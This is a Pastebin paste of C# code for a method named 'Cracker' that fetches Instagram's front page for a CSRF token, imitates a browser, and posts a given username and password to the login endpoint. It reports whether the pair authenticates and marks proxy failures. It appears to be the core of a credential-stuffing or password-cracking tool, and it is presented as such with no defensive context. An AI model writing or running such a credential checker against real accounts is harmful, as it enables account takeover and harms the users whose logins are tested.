Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Uri uri = new Uri("https://www.instagram.com/");
- CookieContainer _cookieJar = new CookieContainer();
- public string Cracker(string username, string password)
- {
- try {
- HttpWebRequest request1 = (HttpWebRequest)WebRequest.Create("https://www.instagram.com/");
- request1.CookieContainer = _cookieJar;
- request1.KeepAlive = true;
- request1.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0");
- request1.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
- request1.Headers.Add("Upgrade-Insecure-Requests", @"1");
- request1.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36";
- request1.Referer = "https://www.instagram.com/";
- request1.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, sdch");
- request1.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.8");
- HttpWebResponse response = (HttpWebResponse)request1.GetResponse();
- _cookieJar.Add(new Cookie("s_network", "") { Domain = uri.Host });
- _cookieJar.Add(new Cookie("ig_vw", "1164") { Domain = uri.Host });
- _cookieJar.Add(new Cookie("ig_pr", "1.100000023841858") { Domain = uri.Host });
- CookieCollection collection = _cookieJar.GetCookies(uri);
- Cookie c = collection[0];
- string cookie = c.ToString();
- string[] splitter = cookie.Split('=');
- HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.instagram.com/accounts/login/ajax/");
- request.CookieContainer = _cookieJar;
- request.KeepAlive = true;
- request.Headers.Add("Origin", @"https://www.instagram.com");
- request.Headers.Add("X-Instagram-AJAX", @"1");
- request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36";
- request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
- request.Headers.Add("X-CSRFToken", splitter[1]);
- request.Accept = "*/*";
- request.Headers.Add("X-Requested-With", @"XMLHttpRequest");
- request.Referer = "https://www.instagram.com/";
- request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
- request.Headers.Set(HttpRequestHeader.AcceptLanguage, "en-US,en;q=0.8");
- request.Method = "POST";
- request.ServicePoint.Expect100Continue = false;
- string body = @"username=" + username + "&password=" + password + "";
- byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body);
- request.ContentLength = postBytes.Length;
- Stream stream = request.GetRequestStream();
- stream.Write(postBytes, 0, postBytes.Length);
- stream.Close();
- HttpWebResponse response1 = (HttpWebResponse)request.GetResponse();
- Stream readResponse = response1.GetResponseStream();
- StreamReader sr = new StreamReader(readResponse);
- string finalresponse = sr.ReadToEnd();
- sr.Close();
- readResponse.Close();
- response1.Close();
- try {
- response1.Cookies["sessionid"].Expires = DateTime.Now.AddDays(-1);
- response1.Cookies["target"].Expires = DateTime.Now.AddDays(-1);
- response1.Cookies["ds_user_id"].Expires = DateTime.Now.AddDays(-1);
- }
- catch (Exception)
- {
- return "AccountDoesntExist";
- }
- if (finalresponse.Contains("authenticated=True"))
- {
- return "IsAccount";
- }
- else if (finalresponse.Contains("authenticated=False"))
- {
- return "IsNotAccount";
- }
- else
- {
- return "IsAccount";
- }
- }
- catch(Exception)
- {
- return "ProxyFail";
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement